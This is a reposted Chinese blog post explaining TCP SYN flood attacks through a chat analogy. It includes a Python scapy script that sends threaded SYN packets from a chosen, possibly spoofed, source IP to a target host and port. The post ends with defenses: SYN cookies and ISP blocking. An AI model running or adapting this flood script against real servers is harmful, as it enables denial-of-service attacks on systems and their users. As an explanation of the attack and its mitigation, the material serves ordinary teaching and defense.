syn flood

        在通过tcp协议,client端和server端建连的过程中,client端首先向服务端发送一个flag为syn的tcp包。好比大家通过qq聊天时先问,美女在不?妹子收到这个包之后就会恢复,我在的,你在不在?也就是一个ack+syn包。这个时候,如果我们不回妹子,妹子就会很郁闷,过会妹子又会问,我在的,你在不在?也就是再发一个ack+syn包,若果我们继续不回,过段时间之后,妹子就会关掉这个聊天窗口,对于服务器来说,服务器会回收掉这个socket。如果有妹子的好多好友突然疯狂的发送,美女在不在,当这样的包太多的时候,就会干扰妹子正常的qq聊天,如果妹子的电脑性能不佳,妹子就不得不关闭qq或者是关机了。

        对服务器而言,维护这样一种syn-received的链接状态,需要耗费一定的内存和cpu资源。当这种连接数数以万计或者更多的时候,服务器不得不花费大量的资源来处理这些资源,有时候在服务器上执行netstat都会卡死,用ss -s的话很快。

测试代码:

#!/usr/bin/python

from random import randint
from scapy.all import *
import threading

class Settings(object):
    def __init__(self):
        self.src_addr=raw_input("enter src ip address:").strip()
        self.dst_addr=raw_input("enter dst ip address:").strip()
        self.dport=int(raw_input("enter dst port:"))
        self.tcp_flags='S'

class Packet(object):
    def __init__(self,setting):
        self.setting=setting
        self.packet=(IP(src=self.setting.src_addr,dst=self.setting.dst_addr)/TCP(sport=randint(20000,50000),dport=self.setting.dport,flags=self.setting.tcp_flags))

def fire(bullets):
    threads=[]
    for packet in bullets:
        threads.append(threading.Thread(target=sr1,args=(packet.packet),kwargs={'verbose':1,'timeout':5}))
    for thread in threads:
        thread.start()
    for thread in threads:
        thread.join()
    print "Done"

def main():
    setting=Settings()
    nums=int(raw_input("enter num of threads:"))
    bullets=[Packet(setting) for i in range(nums)]
    fire(bullets)

main()

syn-flood的防御方法(自己只知道这么多.....):

(1)开启syncookie

在/etc/sysctl.conf配置文件中添加:net.ipv4.tcp_syncookies = 1,然后执行sysctl -p

(2)联系ISP对攻击IP进行封杀

转载于:https://my.oschina.net/0eb1/blog/863364

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值